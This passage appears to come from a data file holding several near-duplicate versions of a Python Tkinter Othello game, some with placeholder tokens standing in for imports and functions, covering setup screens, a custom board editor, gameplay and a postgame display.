in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\nif __name__ == '__main__':\n Window = Handler()\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = 